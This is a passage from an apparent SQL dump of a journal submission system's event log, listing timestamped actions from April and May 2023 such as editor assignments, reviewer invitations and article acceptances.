15:54:27','Publisher has Invited Reviewer',13729,'Publisher',48),(127255,'2023-04-26 15:54:31','Publisher has Invited Reviewer',13729,'Publisher',48),(127256,'2023-04-26 21:24:51','Reviewer has submitted comments',13726,'Reviewer',21528),(127257,'2023-04-27 11:18:56','Reviewer has submitted comments',13652,'Reviewer',11687),(127258,'2023-04-27 11:19:45','Editor has Accepted to review Manuscript',13652,'Editor',192),(127259,'2023-04-27 11:19:55','Editor has been Editor Decision Accepted article',13652,'Editor',192),(127260,'2023-04-27 11:23:06','Publisher: Accept Notification has been sent to Author',13652,'Publisher',48),(127261,'2023-04-27 11:23:25','Manuscript Updated',13652,'Publisher',48),(127262,'2023-04-27 11:23:48','Publisher has been Accepted Articles  article',13652,'Publisher',48),(127263,'2023-04-27 11:24:07','Manuscript Updated',13652,'Publisher',48),(127264,'2023-04-27 12:03:11','Publisher has been Assigned Editor',13721,'Publisher',972),(127265,'2023-04-27 12:03:24','Publisher has been Assigned Editor',13720,'Publisher',972),(127266,'2023-04-27 12:03:36','Publisher has been Assigned Editor',13719,'Publisher',972),(127267,'2023-04-27 12:03:50','Publisher has been Assigned Editor',13717,'Publisher',972),(127268,'2023-04-27 12:04:05','Publisher has been Assigned Editor',13716,'Publisher',972),(127269,'2023-04-27 13:11:14','Publisher has Invited Reviewer',13721,'Publisher',972),(127270,'2023-04-27 13:11:18','Publisher has Invited Reviewer',13721,'Publisher',972),(127271,'2023-04-27 13:11:23','Publisher has Invited Reviewer',13721,'Publisher',972),(127272,'2023-04-27 13:11:44','Publisher has Invited Reviewer',13721,'Publisher',972),(127273,'2023-04-27 13:19:53','Publisher has Invited Reviewer',13721,'Publisher',972),(127274,'2023-04-27 13:19:58','Publisher has Invited Reviewer',13721,'Publisher',972),(127275,'2023-04-27 13:20:03','Publisher has Invited Reviewer',13721,'Publisher',972),(127276,'2023-04-27 13:20:07','Publisher has Invited Reviewer',13721,'Publisher',972),(127277,'2023-04-27 13:20:12','Publisher has Invited Reviewer',13721,'Publisher',972),(127278,'2023-04-27 13:20:16','Publisher has Invited Reviewer',13721,'Publisher',972),(127279,'2023-04-27 13:20:21','Publisher has Invited Reviewer',13721,'Publisher',972),(127280,'2023-04-27 13:20:25','Publisher has Invited Reviewer',13721,'Publisher',972),(127281,'2023-04-27 13:20:30','Publisher has Invited Reviewer',13721,'Publisher',972),(127282,'2023-04-27 13:20:35','Publisher has Invited Reviewer',13721,'Publisher',972),(127283,'2023-04-27 13:20:39','Publisher has Invited Reviewer',13721,'Publisher',972),(127284,'2023-04-27 13:20:43','Publisher has Invited Reviewer',13721,'Publisher',972),(127285,'2023-04-27 13:20:48','Publisher has Invited Reviewer',13721,'Publisher',972),(127286,'2023-04-27 13:20:53','Publisher has Invited Reviewer',13721,'Publisher',972),(127287,'2023-04-27 13:21:37','Publisher has Invited Reviewer',13720,'Publisher',972),(127288,'2023-04-27 13:21:41','Publisher has Invited Reviewer',13720,'Publisher',972),(127289,'2023-04-27 13:21:46','Publisher has Invited Reviewer',13720,'Publisher',972),(127290,'2023-04-27 13:21:54','Publisher has Invited Reviewer',13720,'Publisher',972),(127291,'2023-04-27 13:21:58','Publisher has Invited Reviewer',13720,'Publisher',972),(127292,'2023-04-27 13:22:03','Publisher has Invited Reviewer',13720,'Publisher',972),(127293,'2023-04-27 13:22:08','Publisher has Invited Reviewer',13720,'Publisher',972),(127294,'2023-04-27 13:22:12','Publisher has Invited Reviewer',13720,'Publisher',972),(127295,'2023-04-27 13:22:16','Publisher has Invited Reviewer',13720,'Publisher',972),(127296,'2023-04-27 13:22:21','Publisher has Invited Reviewer',13720,'Publisher',972),(127297,'2023-04-27 13:22:29','Publisher has Invited Reviewer',13720,'Publisher',972),(127298,'2023-04-27 13:22:34','Publisher has Invited Reviewer',13720,'Publisher',972),(127299,'2023-04-27 13:22:38','Publisher has Invited Reviewer',13720,'Publisher',972),(127300,'2023-04-27 13:22:43','Publisher has Invited Reviewer',13720,'Publisher',972),(127301,'2023-04-27 13:22:47','Publisher has Invited Reviewer',13720,'Publisher',972),(127302,'2023-04-27 13:26:35','Publisher has Invited Reviewer',13719,'Publisher',972),(127303,'2023-04-27 13:26:40','Publisher has Invited Reviewer',13719,'Publisher',972),(127304,'2023-04-27 13:26:44','Publisher has Invited Reviewer',13719,'Publisher',972),(127305,'2023-04-27 13:26:49','Publisher has Invited Reviewer',13719,'Publisher',972),(127306,'2023-04-27 13:26:53','Publisher has Invited Reviewer',13719,'Publisher',972),(127307,'2023-04-27 13:26:58','Publisher has Invited Reviewer',13719,'Publisher',972),(127308,'2023-04-27 13:27:02','Publisher has Invited Reviewer',13719,'Publisher',972),(127309,'2023-04-27 13:27:06','Publisher has Invited Reviewer',13719,'Publisher',972),(127310,'2023-04-27 13:27:11','Publisher has Invited Reviewer',13719,'Publisher',972),(127311,'2023-04-27 13:27:15','Publisher has Invited Reviewer',13719,'Publisher',972),(127312,'2023-04-27 13:27:20','Publisher has Invited Reviewer',13719,'Publisher',972),(127313,'2023-04-27 13:27:25','Publisher has Invited Reviewer',13719,'Publisher',972),(127314,'2023-04-27 13:27:29','Publisher has Invited Reviewer',13719,'Publisher',972),(127315,'2023-04-27 13:27:34','Publisher has Invited Reviewer',13719,'Publisher',972),(127316,'2023-04-27 13:27:38','Publisher has Invited Reviewer',13719,'Publisher',972),(127317,'2023-04-27 13:30:06','Publisher has Invited Reviewer',13717,'Publisher',972),(127318,'2023-04-27 13:30:10','Publisher has Invited Reviewer',13717,'Publisher',972),(127319,'2023-04-27 13:30:14','Publisher has Invited Reviewer',13717,'Publisher',972),(127320,'2023-04-27 13:30:19','Publisher has Invited Reviewer',13717,'Publisher',972),(127321,'2023-04-27 13:30:23','Publisher has Invited Reviewer',13717,'Publisher',972),(127322,'2023-04-27 13:30:28','Publisher has Invited Reviewer',13717,'Publisher',972),(127323,'2023-04-27 13:30:32','Publisher has Invited Reviewer',13717,'Publisher',972),(127324,'2023-04-27 13:30:37','Publisher has Invited Reviewer',13717,'Publisher',972),(127325,'2023-04-27 13:30:41','Publisher has Invited Reviewer',13717,'Publisher',972),(127326,'2023-04-27 13:30:45','Publisher has Invited Reviewer',13717,'Publisher',972),(127327,'2023-04-27 13:30:50','Publisher has Invited Reviewer',13717,'Publisher',972),(127328,'2023-04-27 13:30:54','Publisher has Invited Reviewer',13717,'Publisher',972),(127329,'2023-04-27 13:30:59','Publisher has Invited Reviewer',13717,'Publisher',972),(127330,'2023-04-27 13:31:03','Publisher has Invited Reviewer',13717,'Publisher',972),(127331,'2023-04-27 13:31:08','Publisher has Invited Reviewer',13717,'Publisher',972),(127332,'2023-04-27 13:32:18','Publisher has Invited Reviewer',13716,'Publisher',972),(127333,'2023-04-27 13:32:22','Publisher has Invited Reviewer',13716,'Publisher',972),(127334,'2023-04-27 13:32:27','Publisher has Invited Reviewer',13716,'Publisher',972),(127335,'2023-04-27 13:32:32','Publisher has Invited Reviewer',13716,'Publisher',972),(127336,'2023-04-27 13:32:36','Publisher has Invited Reviewer',13716,'Publisher',972),(127337,'2023-04-27 13:32:40','Publisher has Invited Reviewer',13716,'Publisher',972),(127338,'2023-04-27 13:32:45','Publisher has Invited Reviewer',13716,'Publisher',972),(127339,'2023-04-27 13:32:49','Publisher has Invited Reviewer',13716,'Publisher',972),(127340,'2023-04-27 13:32:54','Publisher has Invited Reviewer',13716,'Publisher',972),(127341,'2023-04-27 13:32:58','Publisher has Invited Reviewer',13716,'Publisher',972),(127342,'2023-04-27 13:33:03','Publisher has Invited Reviewer',13716,'Publisher',972),(127343,'2023-04-27 13:33:07','Publisher has Invited Reviewer',13716,'Publisher',972),(127344,'2023-04-27 13:33:11','Publisher has Invited Reviewer',13716,'Publisher',972),(127345,'2023-04-27 13:33:16','Publisher has Invited Reviewer',13716,'Publisher',972),(127346,'2023-04-27 13:33:20','Publisher has Invited Reviewer',13716,'Publisher',972),(127347,'2023-04-27 13:57:59','Editor has Accepted to review Manuscript',13634,'Editor',1370),(127348,'2023-04-27 13:58:17','Editor has been Editor Decision Accepted article',13634,'Editor',1370),(127349,'2023-04-27 13:58:23','Editor has Accepted to review Manuscript',13633,'Editor',1370),(127350,'2023-04-27 13:58:34','Editor has been Editor Decision Accepted article',13633,'Editor',1370),(127351,'2023-04-27 13:58:39','Editor has Accepted to review Manuscript',13631,'Editor',1370),(127352,'2023-04-27 13:58:49','Editor has been Editor Decision Accepted article',13631,'Editor',1370),(127353,'2023-04-27 13:58:56','Editor has Accepted to review Manuscript',13491,'Editor',1370),(127354,'2023-04-27 13:59:05','Editor has been Editor Decision Accepted article',13491,'Editor',1370),(127355,'2023-04-27 13:59:11','Editor has Accepted to review Manuscript',13489,'Editor',1370),(127356,'2023-04-27 13:59:22','Editor has been Editor Decision Accepted article',13489,'Editor',1370),(127357,'2023-04-27 14:12:26','Manuscript Submitted by Publisher',13735,'',1334),(127358,'2023-04-27 15:33:50','Manuscript Submitted by Publisher',13736,'Publisher',85),(127359,'2023-04-27 15:36:28','Manuscript Submitted by Publisher',13737,'Publisher',85),(127360,'2023-04-27 15:39:25','Manuscript Submitted by Publisher',13738,'Publisher',85),(127361,'2023-04-27 15:44:07','Manuscript Submitted by Publisher',13739,'Publisher',85),(127362,'2023-04-27 15:51:01','Manuscript Submitted by Publisher',13740,'Publisher',85),(127363,'2023-04-27 16:02:44','Publisher has been Assigned Editor',13734,'Publisher',673),(127364,'2023-04-27 16:03:08','Publisher has been Assigned Editor',13733,'Publisher',673),(127365,'2023-04-27 16:03:23','Publisher has been Assigned Editor',13732,'Publisher',673),(127366,'2023-04-27 16:03:39','Publisher has been Assigned Editor',13731,'Publisher',673),(127367,'2023-04-27 16:04:05','Publisher has been Assigned Editor',13730,'Publisher',673),(127368,'2023-04-27 16:49:57','Editor has Accepted to review Manuscript',13721,'Editor',1784),(127369,'2023-04-27 16:50:06','Editor has been Editor Decision Accepted article',13721,'Editor',1784),(127370,'2023-04-27 16:50:12','Editor has Accepted to review Manuscript',13720,'Editor',1784),(127371,'2023-04-27 16:50:20','Editor has been Editor Decision Accepted article',13720,'Editor',1784),(127372,'2023-04-27 16:50:26','Editor has Accepted to review Manuscript',13719,'Editor',1784),(127373,'2023-04-27 16:50:32','Editor has been Editor Decision Accepted article',13719,'Editor',1784),(127374,'2023-04-27 16:50:47','Editor has Accepted to review Manuscript',13717,'Editor',1784),(127375,'2023-04-27 16:50:56','Editor has been Editor Decision Accepted article',13717,'Editor',1784),(127376,'2023-04-27 16:51:02','Editor has Accepted to review Manuscript',13716,'Editor',1784),(127377,'2023-04-27 16:51:08','Editor has been Editor Decision Accepted article',13716,'Editor',1784),(127378,'2023-04-27 16:51:52','Manuscript Updated',13721,'Publisher',972),(127379,'2023-04-27 16:52:31','Publisher has been Accepted Articles  article',13721,'Publisher',972),(127380,'2023-04-27 16:52:38','Manuscript Updated',13721,'Publisher',972),(127381,'2023-04-27 16:53:05','Manuscript Updated',13720,'Publisher',972),(127382,'2023-04-27 16:53:26','Publisher has been Accepted Articles  article',13720,'Publisher',972),(127383,'2023-04-27 16:53:37','Manuscript Updated',13719,'Publisher',972),(127384,'2023-04-27 16:53:43','Manuscript Updated',13720,'Publisher',972),(127385,'2023-04-27 16:53:58','Manuscript Updated',13719,'Publisher',972),(127386,'2023-04-27 16:54:17','Publisher has been Accepted Articles  article',13719,'Publisher',972),(127387,'2023-04-27 16:54:24','Manuscript Updated',13719,'Publisher',972),(127388,'2023-04-27 16:54:39','Manuscript Updated',13717,'Publisher',972),(127389,'2023-04-27 16:54:52','Publisher has been Accepted Articles  article',13717,'Publisher',972),(127390,'2023-04-27 16:55:01','Manuscript Updated',13717,'Publisher',972),(127391,'2023-04-27 16:55:13','Manuscript Updated',13716,'Publisher',972),(127392,'2023-04-27 16:55:26','Publisher has been Accepted Articles  article',13716,'Publisher',972),(127393,'2023-04-27 16:55:35','Manuscript Updated',13716,'Publisher',972),(127394,'2023-04-27 17:08:40','Editor has Accepted to review Manuscript',13729,'Editor',194),(127395,'2023-04-27 17:09:10','Editor has been Editor Decision Accepted article',13729,'Editor',194),(127396,'2023-04-27 17:21:16','Reviewer has submitted comments',13729,'Reviewer',15733),(127397,'2023-04-27 17:21:58','Manuscript Updated',13729,'Publisher',48),(127398,'2023-04-27 17:22:16','Publisher has been Accepted Articles  article',13729,'Publisher',48),(127399,'2023-04-27 17:22:28','Manuscript Updated',13729,'Publisher',48),(127400,'2023-04-28 10:01:47','Publisher has been Accepted Articles  article',13687,'',1491),(127401,'2023-04-28 12:14:51','Publisher has been Assigned Editor',13740,'Publisher',85),(127402,'2023-04-28 12:15:05','Publisher has been Assigned Editor',13739,'Publisher',85),(127403,'2023-04-28 12:15:20','Publisher has been Assigned Editor',13738,'Publisher',85),(127404,'2023-04-28 12:15:33','Publisher has been Assigned Editor',13737,'Publisher',85),(127405,'2023-04-28 12:15:45','Publisher has been Assigned Editor',13736,'Publisher',85),(127406,'2023-04-28 12:16:11','Editor has Accepted to review Manuscript',13736,'Editor',1675),(127407,'2023-04-28 12:16:26','Editor has been Editor Decision Accepted article',13736,'Editor',1675),(127408,'2023-04-28 12:16:33','Editor has Accepted to review Manuscript',13737,'Editor',1675),(127409,'2023-04-28 12:16:40','Editor has been Editor Decision Accepted article',13737,'Editor',1675),(127410,'2023-04-28 12:16:46','Editor has Accepted to review Manuscript',13738,'Editor',1675),(127411,'2023-04-28 12:16:55','Editor has been Editor Decision Accepted article',13738,'Editor',1675),(127412,'2023-04-28 12:17:02','Editor has Accepted to review Manuscript',13739,'Editor',1675),(127413,'2023-04-28 12:17:09','Editor has been Editor Decision Accepted article',13739,'Editor',1675),(127414,'2023-04-28 12:17:16','Editor has Accepted to review Manuscript',13740,'Editor',1675),(127415,'2023-04-28 12:17:23','Editor has been Editor Decision Accepted article',13740,'Editor',1675),(127416,'2023-04-28 13:11:58','Manuscript Updated',13736,'Publisher',85),(127417,'2023-04-28 13:12:36','Publisher has been Accepted Articles  article',13736,'Publisher',85),(127418,'2023-04-28 13:12:44','Manuscript Updated',13736,'Publisher',85),(127419,'2023-04-28 13:13:11','Manuscript Updated',13737,'Publisher',85),(127420,'2023-04-28 13:13:28','Publisher has been Accepted Articles  article',13737,'Publisher',85),(127421,'2023-04-28 13:13:30','Publisher has been Accepted Articles  article',13737,'Publisher',85),(127422,'2023-04-28 13:13:41','Manuscript Updated',13737,'Publisher',85),(127423,'2023-04-28 13:13:52','Manuscript Updated',13738,'Publisher',85),(127424,'2023-04-28 13:14:08','Publisher has been Accepted Articles  article',13738,'Publisher',85),(127425,'2023-04-28 13:14:19','Manuscript Updated',13738,'Publisher',85),(127426,'2023-04-28 13:14:29','Manuscript Updated',13739,'Publisher',85),(127427,'2023-04-28 13:14:44','Publisher has been Accepted Articles  article',13739,'Publisher',85),(127428,'2023-04-28 13:14:54','Manuscript Updated',13739,'Publisher',85),(127429,'2023-04-28 13:16:49','Manuscript Updated',13740,'Publisher',85),(127430,'2023-04-28 13:17:03','Publisher has been Accepted Articles  article',13740,'Publisher',85),(127431,'2023-04-28 13:17:11','Manuscript Updated',13740,'Publisher',85),(127432,'2023-04-28 14:14:22','Editor has Accepted to review Manuscript',13734,'Editor',1370),(127433,'2023-04-28 14:14:37','Editor has been Editor Decision Accepted article',13734,'Editor',1370),(127434,'2023-04-28 14:14:43','Editor has Accepted to review Manuscript',13733,'Editor',1370),(127435,'2023-04-28 14:14:51','Editor has been Editor Decision Accepted article',13733,'Editor',1370),(127436,'2023-04-28 14:14:58','Editor has Accepted to review Manuscript',13732,'Editor',1370),(127437,'2023-04-28 14:15:06','Editor has Accepted to review Manuscript',13730,'Editor',1370),(127438,'2023-04-28 14:15:15','Editor has been Editor Decision Accepted article',13732,'Editor',1370),(127439,'2023-04-28 14:15:20','Editor has Accepted to review Manuscript',13731,'Editor',1370),(127440,'2023-04-28 14:15:30','Editor has been Editor Decision Accepted article',13730,'Editor',1370),(127441,'2023-04-28 14:15:42','Editor has been Editor Decision Accepted article',13634,'Editor',1370),(127442,'2023-04-28 14:15:56','Editor has been Editor Decision Accepted article',13731,'Editor',1370),(127443,'2023-04-28 14:16:06','Editor has been Editor Decision Accepted article',13730,'Editor',1370),(127444,'2023-04-28 14:20:18','Manuscript Updated',13734,'Publisher',673),(127445,'2023-04-28 14:20:44','Publisher has been Accepted Articles  article',13734,'Publisher',673),(127446,'2023-04-28 14:20:55','Manuscript Updated',13734,'Publisher',673),(127447,'2023-04-28 14:21:12','Manuscript Updated',13733,'Publisher',673),(127448,'2023-04-28 14:21:25','Publisher has been Accepted Articles  article',13733,'Publisher',673),(127449,'2023-04-28 14:21:32','Manuscript Updated',13733,'Publisher',673),(127450,'2023-04-28 14:22:51','Manuscript Updated',13732,'Publisher',673),(127451,'2023-04-28 14:23:06','Publisher has been Accepted Articles  article',13732,'Publisher',673),(127452,'2023-04-28 14:23:18','Manuscript Updated',13732,'Publisher',673),(127453,'2023-04-28 14:23:37','Manuscript Updated',13731,'Publisher',673),(127454,'2023-04-28 14:23:51','Publisher has been Accepted Articles  article',13731,'Publisher',673),(127455,'2023-04-28 14:24:01','Manuscript Updated',13731,'Publisher',673),(127456,'2023-04-28 15:10:47','Manuscript Updated',13730,'Publisher',673),(127457,'2023-04-28 15:11:04','Publisher has been Accepted Articles  article',13730,'Publisher',673),(127458,'2023-04-28 15:11:15','Manuscript Updated',13730,'Publisher',673),(127459,'2023-04-28 15:13:36','Editor has Accepted to review Manuscript',13667,'Editor',1456),(127460,'2023-04-28 15:13:46','Editor has been Editor Decision Accepted article',13667,'Editor',1456),(127461,'2023-04-28 15:14:23','Manuscript Updated',13667,'Publisher',673),(127462,'2023-04-28 15:14:38','Publisher has been Accepted Articles  article',13667,'Publisher',673),(127463,'2023-04-28 15:14:50','Manuscript Updated',13667,'Publisher',673),(127464,'2023-04-28 15:15:11','Manuscript Updated',13634,'Publisher',673),(127465,'2023-04-28 15:15:24','Publisher has been Accepted Articles  article',13634,'Publisher',673),(127466,'2023-04-28 15:15:35','Manuscript Updated',13634,'Publisher',673),(127467,'2023-04-28 15:15:59','Manuscript Updated',13633,'Publisher',673),(127468,'2023-04-28 15:16:18','Publisher has been Accepted Articles  article',13633,'Publisher',673),(127469,'2023-04-28 15:16:28','Manuscript Updated',13633,'Publisher',673),(127470,'2023-04-28 15:17:04','Publisher has been Accepted Articles  article',13631,'Publisher',673),(127471,'2023-04-29 09:48:29','Publisher has been Assigned Editor',13735,'Publisher',376),(127472,'2023-04-29 09:51:38','Publisher has Invited Reviewer',13735,'Publisher',376),(127473,'2023-04-29 09:51:43','Publisher has Invited Reviewer',13735,'Publisher',376),(127474,'2023-04-29 09:51:47','Publisher has Invited Reviewer',13735,'Publisher',376),(127475,'2023-04-29 09:51:52','Publisher has Invited Reviewer',13735,'Publisher',376),(127476,'2023-04-29 12:09:04','Editor has Accepted to review Manuscript',13735,'Editor',1011),(127477,'2023-04-29 12:09:17','Editor has been Editor Decision Accepted article',13735,'Editor',1011),(127478,'2023-04-30 20:50:27','Manuscript Submitted by Author using Submission form',13741,'Author',13876),(127479,'2023-05-02 09:53:35','Manuscript Submitted by Author using Submission form',13742,'Author',13877),(127480,'2023-05-02 11:21:54','Reviewer has submitted comments',13735,'Reviewer',9159),(127481,'2023-05-02 11:23:39','Reviewer has submitted comments',13735,'Reviewer',7213),(127482,'2023-05-02 11:25:45','Reviewer has submitted comments',13735,'Reviewer',7212),(127483,'2023-05-02 11:27:02','Publisher: Accept Notification has been sent to Author',13735,'Publisher',376),(127484,'2023-05-02 15:42:24','Publisher has been Assigned Editor',13741,'Publisher',376),(127485,'2023-05-02 15:42:59','Publisher has Invited Reviewer',13741,'Publisher',376),(127486,'2023-05-02 15:43:04','Publisher has Invited Reviewer',13741,'Publisher',376),(127487,'2023-05-02 15:43:08','Publisher has Invited Reviewer',13741,'Publisher',376),(127488,'2023-05-02 15:43:13','Publisher has Invited Reviewer',13741,'Publisher',376),(127489,'2023-05-02 15:43:18','Publisher has Invited Reviewer',13741,'Publisher',376),(127490,'2023-05-02 15:43:22','Publisher has Invited Reviewer',13741,'Publisher',376),(127491,'2023-05-03 11:53:25','Editor has Accepted to review Manuscript',13741,'Editor',1705),(127492,'2023-05-03 11:53:36','Editor has Accepted to review Manuscript',13735,'Editor',1705),(127493,'2023-05-04 11:56:46','Reviewer has submitted comments',13741,'Reviewer',9135),(127494,'2023-05-04 11:59:12','Reviewer has submitted comments',13741,'Reviewer',9154),(127495,'2023-05-04 12:01:07','Reviewer has submitted comments',13741,'Reviewer',9133),(127496,'2023-05-04 12:02:12','Editor has been Editor Decision Accepted article',11262,'Editor',1705),(127497,'2023-05-04 12:02:12','Editor has been Editor Decision Accepted article',11262,'Editor',1705),(127498,'2023-05-04 12:04:44','Editor has been Editor Decision Accepted article',13741,'Editor',1705),(127499,'2023-05-04 12:05:36','Publisher: Accept Notification has been sent to Author',13741,'Publisher',376),(127500,'2023-05-05 09:26:47','Publisher has been Assigned Editor',13742,'Publisher',48),(127501,'2023-05-05 11:55:26','Manuscript Submitted by Publisher',13743,'Publisher',645),(127502,'2023-05-05 11:57:50','Manuscript Submitted by Publisher',13744,'Publisher',645),(127503,'2023-05-05 11:59:13','Manuscript Submitted by Publisher',13745,'Publisher',645),(127504,'2023-05-05 12:01:03','Manuscript Submitted by Publisher',13746,'Publisher',645),(127505,'2023-05-06 10:02:13','Editor has been Editor Decision Accepted article',13726,'Editor',1675),(127506,'2023-05-06 10:30:31','Publisher has been Assigned Editor',13746,'Publisher',645),(127507,'2023-05-06 10:30:44','Publisher has been Assigned Editor',13744,'Publisher',645),(127508,'2023-05-06 10:30:58','Publisher has been Assigned Editor',13743,'Publisher',645),(127509,'2023-05-06 10:42:17','Manuscript Submitted by Publisher',13747,'Publisher',645),(127510,'2023-05-06 12:12:46','Publisher: Accept Notification has been sent to Author',13726,'Publisher',85),(127511,'2023-05-06 12:13:56','Manuscript Updated',13726,'Publisher',85),(127512,'2023-05-06 12:14:23','Publisher has been Accepted Articles  article',13726,'Publisher',85),(127513,'2023-05-06 12:14:52','Manuscript Updated',13726,'Publisher',85),(127514,'2023-05-06 12:15:23','Manuscript Updated',13746,'Publisher',645),(127515,'2023-05-06 12:15:45','Publisher has been Accepted Articles  article',13746,'Publisher',645),(127516,'2023-05-06 12:16:02','Manuscript Updated',13746,'Publisher',645),(127517,'2023-05-06 12:16:16','Manuscript Updated',13744,'Publisher',645),(127518,'2023-05-06 12:16:36','Publisher has been Accepted Articles  article',13744,'Publisher',645),(127519,'2023-05-06 12:16:52','Manuscript Updated',13744,'Publisher',645),(127520,'2023-05-06 12:17:07','Manuscript Updated',13743,'Publisher',645),(127521,'2023-05-06 12:17:29','Publisher has been Accepted Articles  article',13743,'Publisher',645),(127522,'2023-05-06 12:17:41','Manuscript Updated',13743,'Publisher',645),(127523,'2023-05-06 12:17:53','Manuscript Updated',13688,'Publisher',645),(127524,'2023-05-06 12:18:11','Publisher has been Accepted Articles  article',13688,'Publisher',645),(127525,'2023-05-06 12:18:26','Manuscript Updated',13688,'Publisher',645),(127526,'2023-05-06 12:19:35','Editor has Accepted to review Manuscript',13743,'Editor',633),(127527,'2023-05-06 12:19:48','Editor has been Editor Decision Accepted article',13743,'Editor',633),(127528,'2023-05-06 12:19:55','Editor has Accepted to review Manuscript',13744,'Editor',633),(127529,'2023-05-06 12:20:02','Editor has been Editor Decision Accepted article',13744,'Editor',633),(127530,'2023-05-06 12:20:09','Editor has Accepted to review Manuscript',13746,'Editor',633),(127531,'2023-05-06 12:20:18','Editor has been Editor Decision Accepted article',13746,'Editor',633),(127532,'2023-05-06 23:04:57','Manuscript Submitted by Author using Submission form',13748,'Author',13881),(127533,'2023-05-08 21:38:11','Editor has Accepted to review Manuscript',13742,'Editor',195),(127534,'2023-05-08 21:39:08','Editor has been Revise (Notify Author) article',13689,'Editor',195),(127535,'2023-05-08 21:39:29','Editor has been Editor Decision Accepted article',13620,'Editor',195),(127536,'2023-05-08 21:39:59','Editor has been Editor Decision Accepted article',13502,'Editor',195),(127537,'2023-05-08 21:40:15','Editor has been Editor Decision Accepted article',12807,'Editor',195),(127538,'2023-05-08 21:41:08','Editor has Invited Reviewer',13742,'Editor',195),(127539,'2023-05-08 21:41:13','Editor has Invited Reviewer',13742,'Editor',195),(127540,'2023-05-08 21:42:53','Editor has Invited Reviewer',13742,'Editor',195),(127541,'2023-05-08 21:42:57','Editor has Invited Reviewer',13742,'Editor',195),(127542,'2023-05-08 21:43:01','Editor has Invited Reviewer',13742,'Editor',195),(127543,'2023-05-08 21:43:06','Editor has Invited Reviewer',13742,'Editor',195),(127544,'2023-05-08 21:43:10','Editor has Invited Reviewer',13742,'Editor',195),(127545,'2023-05-08 21:43:15','Editor has Invited Reviewer',13742,'Editor',195),(127546,'2023-05-08 21:43:19','Editor has Invited Reviewer',13742,'Editor',195),(127547,'2023-05-08 21:43:24','Editor has Invited Reviewer',13742,'Editor',195),(127548,'2023-05-08 21:43:28','Editor has Invited Reviewer',13742,'Editor',195),(127549,'2023-05-08 21:43:33','Editor has Invited Reviewer',13742,'Editor',195),(127550,'2023-05-08 21:43:37','Editor has Invited Reviewer',13742,'Editor',195),(127551,'2023-05-08 23:52:54','Reviewer has submitted comments',13742,'Reviewer',5467),(127552,'2023-05-09 13:46:39','Manuscript Submitted by Author using Submission form',13748,'Author',13882),(127553,'2023-05-09 13:49:20','Manuscript Submitted by Author using Submission form',13749,'Author',13883),(127554,'2023-05-09 13:51:15','Manuscript Submitted by Author using Submission form',13750,'Author',13884),(127555,'2023-05-09 13:55:41','Manuscript Submitted by Author using Submission form',13751,'Author',13885),(127556,'2023-05-09 13:57:13','Manuscript Submitted by Author using Submission form',13752,'Author',13886),(127557,'2023-05-09 14:32:09','Manuscript Submitted by Publisher',13753,'Publisher',994),(127558,'2023-05-09 14:33:09','Manuscript Submitted by Publisher',13754,'Publisher',994),(127559,'2023-05-09 14:34:22','Manuscript Submitted by Publisher',13755,'Publisher',994),(127560,'2023-05-09 14:35:20','Manuscript Submitted by Publisher',13756,'Publisher',994),(127561,'2023-05-09 14:36:31','Manuscript Submitted by Publisher',13757,'Publisher',994),(127562,'2023-05-10 08:52:59','Manuscript Submitted by Author',13758,'Author',12576),(127563,'2023-05-10 13:26:37','Publisher has been Assigned Editor',13757,'Publisher',994),(127564,'2023-05-10 13:26:48','Publisher has been Assigned Editor',13756,'Publisher',994),(127565,'2023-05-10 13:27:00','Publisher has been Assigned Editor',13755,'Publisher',994),(127566,'2023-05-10 13:27:12','Publisher has been Assigned Editor',13754,'Publisher',994),(127567,'2023-05-10 13:28:14','Publisher has been Assigned Editor',13753,'Publisher',994),(127568,'2023-05-11 09:14:27','Publisher has been Assigned Editor',3548,'',1498),(127569,'2023-05-11 10:58:31','Manuscript Updated',13753,'Publisher',994),(127570,'2023-05-11 10:58:56','Publisher has been Accepted Articles  article',13753,'Publisher',994),(127571,'2023-05-11 10:59:04','Manuscript Updated',13753,'Publisher',994),(127572,'2023-05-11 11:08:00','Publisher has been Accepted Articles  article',13754,'Publisher',994),(127573,'2023-05-11 11:18:32','Manuscript Updated',13755,'Publisher',994),(127574,'2023-05-11 11:18:45','Publisher has been Accepted Articles  article',13755,'Publisher',994),(127575,'2023-05-11 11:18:54','Manuscript Updated',13755,'Publisher',994),(127576,'2023-05-11 11:29:09','Manuscript Updated',13756,'Publisher',994),(127577,'2023-05-11 11:29:39','Publisher has been Accepted Articles  article',13756,'Publisher',994),(127578,'2023-05-11 11:37:24','Publisher has been Accepted Articles  article',13757,'Publisher',994),(127579,'2023-05-11 11:37:30','Manuscript Updated',13757,'Publisher',994),(127580,'2023-05-11 11:38:38','Editor has Accepted to review Manuscript',13753,'Editor',1790),(127581,'2023-05-11 11:38:43','Editor has Accepted to review Manuscript',13754,'Editor',1790),(127582,'2023-05-11 11:38:47','Editor has Accepted to review Manuscript',13755,'Editor',1790),(127583,'2023-05-11 11:38:52','Editor has Accepted to review Manuscript',13756,'Editor',1790),(127584,'2023-05-11 11:38:55','Editor has Accepted to review Manuscript',13757,'Editor',1790),(127585,'2023-05-11 12:16:43','Manuscript Submitted by Publisher',13759,'Publisher',48),(127586,'2023-05-11 14:04:51','Manuscript Submitted by Author using Submission form',13760,'Author',13889),(127587,'2023-05-12 12:23:39','Manuscript Submitted by Publisher',13761,'',1491),(127588,'2023-05-12 13:22:43','Publisher has been Assigned Editor',13760,'Publisher',48),(127589,'2023-05-12 15:47:42','Publisher has been Accepted Articles  article',13735,'Publisher',376),(127590,'2023-05-12 15:55:25','Manuscript Submitted by Author using Submission form',13762,'Author',13891),(127591,'2023-05-16 09:38:31','Publisher has been Assigned Editor',13752,'Publisher',319),(127592,'2023-05-16 09:38:43','Publisher has been Assigned Editor',13751,'Publisher',319),(127593,'2023-05-16 09:38:53','Publisher has been Assigned Editor',13750,'Publisher',319),(127594,'2023-05-16 09:39:03','Publisher has been Assigned Editor',13749,'Publisher',319),(127595,'2023-05-16 09:49:18','Manuscript Submitted by Publisher',13763,'Publisher',48),(127596,'2023-05-16 10:28:59','Manuscript Updated',13746,'Publisher',645),(127597,'2023-05-16 10:29:35','Publisher has been Accepted Articles  article',13746,'Publisher',645),(127598,'2023-05-16 10:29:47','Manuscript Updated',13746,'Publisher',645),(127599,'2023-05-16 10:34:40','Manuscript Updated',13746,'Publisher',645),(127600,'2023-05-16 10:35:00','Publisher has been Accepted Articles  article',13746,'Publisher',645),(127601,'2023-05-16 10:35:10','Manuscript Updated',13746,'Publisher',645),(127602,'2023-05-16 10:49:28','Manuscript Updated',13744,'Publisher',645),(127603,'2023-05-16 10:49:45','Publisher has been Accepted Articles  